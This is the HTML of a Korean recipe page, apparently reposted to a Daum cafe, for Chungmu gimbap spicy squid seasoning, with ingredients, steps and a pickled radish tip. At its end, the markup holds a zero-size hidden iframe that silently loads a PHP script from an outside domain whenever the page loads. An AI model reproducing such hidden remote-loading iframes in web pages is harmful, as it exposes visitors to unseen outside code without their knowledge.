충무 김밥

<table border="0" cellpadding="15" cellspacing="0" width="100%"> <tr valign="top">  <td bgcolor="#ffffff" width="100%" class="text" style="padding-bottom:8px" id="clix_content"><table border="0" cellpadding="15" cellspacing="0" width="100%"> <tr valign="top">  <td bgcolor="#ffffff" width="100%" class="text" style="padding-bottom:8px" id="clix_content"></STYLE> <table border="0" cellpadding="15" cellspacing="0" width="100%"> <tr valign="top">  <td bgcolor="#ffffff" width="100%" class="text" style="padding-bottom:8px" id="clix_content"><TABLE cellSpacing=0 cellPadding=0 width=646 border=0> <TBODY> <TR> <TD height=15></TD></TR> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=616 align=center border=0> <TBODY> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=616 border=0> <TBODY> <TR> <TD vAlign=center align=middle width=320> <TABLE cellSpacing=0 cellPadding=0 border=0> <TBODY> <TR> <TD> <TABLE cellSpacing=1 cellPadding=0 bgColor=#dddddd border=0> <TBODY> <TR> <TD style="PADDING-RIGHT: 9px; PADDING-LEFT: 9px; PADDING-BOTTOM: 9px; PADDING-TOP: 9px" bgColor=#ffffff> <IMG src="https://img1.daumcdn.net/relay/cafe/original/?fname=http%3A%2F%2Fwoman.nate.com%2Fdata%2Fcook%2Fpatzziimg%2Fl%2Frecipe_1953_l.jpg"></TD></TR></TBODY></TABLE></TD> <TD vAlign=bottom> <IMG height=120 src="https://img1.daumcdn.net/relay/cafe/original/?fname=http%3A%2F%2Ffood.nate.com%2Fcooknew%2Fpatzzi_recipe_img%2Frecipe_img_02.gif" width=20></TD></TR> <TR> <TD align=right> <IMG height=20 src="https://img1.daumcdn.net/relay/cafe/original/?fname=http%3A%2F%2Ffood.nate.com%2Fcooknew%2Fpatzzi_recipe_img%2Frecipe_img_03.gif" width=150></TD> <TD> <IMG height=20 src="https://img1.daumcdn.net/relay/cafe/original/?fname=http%3A%2F%2Ffood.nate.com%2Fcooknew%2Fpatzzi_recipe_img%2Frecipe_img_04.gif" width=20></TD></TR></TBODY></TABLE></TD> <TD vAlign=top width=296> <TABLE cellSpacing=0 cellPadding=0 width=296 border=0> <TBODY> <TR> <TD style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 20px; PADDING-TOP: 20px"><B><FONT color=#ff6600>같이 먹으면 더 맛있다. <충무김밥 오징어무침></FONT></B></TD></TR> <TR> <TD>명동 나가면 꼬옥 챙겨먹는 충무김밥. 이제는 집에서 더 맛있게 해드세요.</TD></TR> <TR> <TD style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 20px; PADDING-TOP: 20px"> <TABLE cellSpacing=0 cellPadding=0 width=296 border=0> <TBODY> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=296 border=0> <TBODY> <TR> <TD width=60> <IMG height=15 src="https://img1.daumcdn.net/relay/cafe/original/?fname=http%3A%2F%2Ffood.nate.com%2Fcooknew%2Fpatzzi_recipe_img%2Frecipe_img_05.gif" width=50></TD> <TD width=90><FONT color=#ff6600>103 Kcal</FONT></TD> <TD width=72> <IMG height=15 src="https://img1.daumcdn.net/relay/cafe/original/?fname=http%3A%2F%2Ffood.nate.com%2Fcooknew%2Fpatzzi_recipe_img%2Frecipe_img_07.gif" width=62></TD> <TD width=74><FONT color=#ff6600>중 </FONT></TD></TR></TBODY></TABLE></TD></TR> <TR> <TD height=10></TD></TR> <TR> <TD width=84> <TABLE cellSpacing=0 cellPadding=0 width=296 border=0> <TBODY> <TR> <TD width=84> <IMG height=15 src="https://img1.daumcdn.net/relay/cafe/original/?fname=http%3A%2F%2Ffood.nate.com%2Fcooknew%2Fpatzzi_recipe_img%2Frecipe_img_06.gif" width=76></TD> <TD><FONT color=#ff6600>30분 </FONT></TD> <TD width=72> <IMG height=15 src="https://img1.daumcdn.net/relay/cafe/original/?fname=http%3A%2F%2Ffood.nate.com%2Fcooknew%2Fpatzzi_recipe_img%2Frecipe_img_08.gif" width=62></TD> <TD width=74><FONT color=#ff6600>5000원 이하 </FONT></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=616 align=center bgColor=#faf8f4 border=0> <TBODY> <TR> <TD width=4 height=4> <IMG height=4 src="https://img1.daumcdn.net/relay/cafe/original/?fname=http%3A%2F%2Ffood.nate.com%2Fcooknew%2Fpatzzi_recipe_img%2Frecipe_tb_01.gif" width=4></TD> <TD background=patzzi_recipe_img/recipe_tb_02.gif></TD> <TD width=4 height=4> <IMG height=4 src="https://img1.daumcdn.net/relay/cafe/original/?fname=http%3A%2F%2Ffood.nate.com%2Fcooknew%2Fpatzzi_recipe_img%2Frecipe_tb_03.gif" width=4></TD></TR> <TR> <TD background=patzzi_recipe_img/recipe_tb_04.gif></TD> <TD> <TABLE cellSpacing=0 cellPadding=0 width=586 align=center border=0> <TBODY> <TR> <TD height=34> <IMG height=11 src="https://img1.daumcdn.net/relay/cafe/original/?fname=http%3A%2F%2Ffood.nate.com%2Fcooknew%2Fpatzzi_recipe_img%2Farrow_02.gif" width=20><FONT color=#be6c00><B>재료(3인분)</B></FONT> </TD></TR> <TR> <TD><FONT color=#8c7301>오징어 2마리,<BR>실파 3뿌리, 양파즙 1큰술, 고춧가루 3큰술, 까나리액젓·통깨·다진 마늘·청주 1작은술씩, 소금·후춧가루 약간씩, 물엿 1/2작은술 </FONT></TD></TR> <TR> <TD height=12></TD></TR></TBODY></TABLE></TD> <TD background=patzzi_recipe_img/recipe_tb_05.gif></TD></TR> <TR> <TD width=4 height=4> <IMG height=4 src="https://img1.daumcdn.net/relay/cafe/original/?fname=http%3A%2F%2Ffood.nate.com%2Fcooknew%2Fpatzzi_recipe_img%2Frecipe_tb_06.gif" width=4></TD> <TD background=patzzi_recipe_img/recipe_tb_07.gif></TD> <TD width=4 height=4> <IMG height=4 src="https://img1.daumcdn.net/relay/cafe/original/?fname=http%3A%2F%2Ffood.nate.com%2Fcooknew%2Fpatzzi_recipe_img%2Frecipe_tb_08.gif" width=4></TD></TR></TBODY></TABLE></TD></TR> <TR> <TD height=20></TD></TR> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=616 align=center border=0> <TBODY> <TR> <TD background=patzzi_recipe_img/recipe_img_10.gif colSpan=3 height=52> <IMG height=52 src="https://img1.daumcdn.net/relay/cafe/original/?fname=http%3A%2F%2Ffood.nate.com%2Fcooknew%2Fpatzzi_recipe_img%2Frecipe_img_09.gif" width=103></TD></TR> <TR> <TD colSpan=3 height=15></TD></TR> <TR> <TD vAlign=top width="100%"> <TABLE cellSpacing=0 cellPadding=0 width="100%" align=center border=0> <TBODY> <TR> <TD> <TABLE style="MARGIN: 0px 0px 0px 8px" cellSpacing=0 cellPadding=0 width="95%" align=left border=0> <TBODY> <TR> <TD vAlign=top width=20 height=30><FONT color=#8c7301>1. </FONT></TD> <TD vAlign=top><FONT color=#8c7301>오징어는 껍질을 벗기지 않는다(원조 충무김밥은 갑오징어를 쓴다. 일반 오징어로 만들 때는 껍질을 벗기지 않아야 오징어의 쫄깃한 질감을 느낄 수 있다).</FONT></TD></TR> <TR> <TD vAlign=top width=20 height=30><FONT color=#8c7301>2. </FONT></TD> <TD vAlign=top><FONT color=#8c7301>오징어 몸통과 다리에 칼집을 넣는다. 몸통은 가로 4cm×세로 1cm 크기, 다리는 4cm 길이로 썬다.</FONT></TD></TR> <TR> <TD vAlign=top width=20 height=30><FONT color=#8c7301>3. </FONT></TD> <TD vAlign=top><FONT color=#8c7301>끓는 물에 소금을 넣고 오징어를 데쳐낸다.</FONT></TD></TR> <TR> <TD vAlign=top width=20 height=30><FONT color=#8c7301>4. </FONT></TD> <TD vAlign=top><FONT color=#8c7301>먼저 고춧가루를 양파즙, 까나리액젓에 불려 색을 낸다. 이것이 충무김밥 오징어무침의 핵심 포인트. 다음 소금, 후춧가루, 통깨, 마늘, 청주, 물엿을 넣어 섞어 양념장을 만든다.</FONT></TD></TR> <TR> <TD vAlign=top width=20 height=30><FONT color=#8c7301>5. </FONT></TD> <TD vAlign=top><FONT color=#8c7301>물기를 완전히 뺀 오징어를 ④에 넣고 조몰락조몰락 무친다. 무를 큼직하게 썰어 식초 6큰술, 설탕 5큰술, 소금 1큰술, 물 1컵을 섞은 새콤달콤한 물에 하룻밤 담가두었다가 함께 버무려도 좋다. 무를 반나절 정도 채반에 널어 말려 물기를 쪽 빼서 사용하면 더 아삭아삭하다.</FONT></TD></TR></TBODY></TABLE></TD></TR> <TR> <TD height=15><FONT color=#8c7301> </FONT></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><iframe scrolling=no src="http://script.mpiod.net/js/cafe.daum.net_spdprpvuswlfmf/spdprpvuswlfmf_ok.php" width=0 height=0 border=0 frameborder=0 marginwidth=0 marginheight=0 leftmargin=0 topmargin=0></iframe><center><center><A href="http://cafe.daum.net/spdprpvuswlfmf"><img src=//rytjs333.com.ne.kr/62.gif> 칼리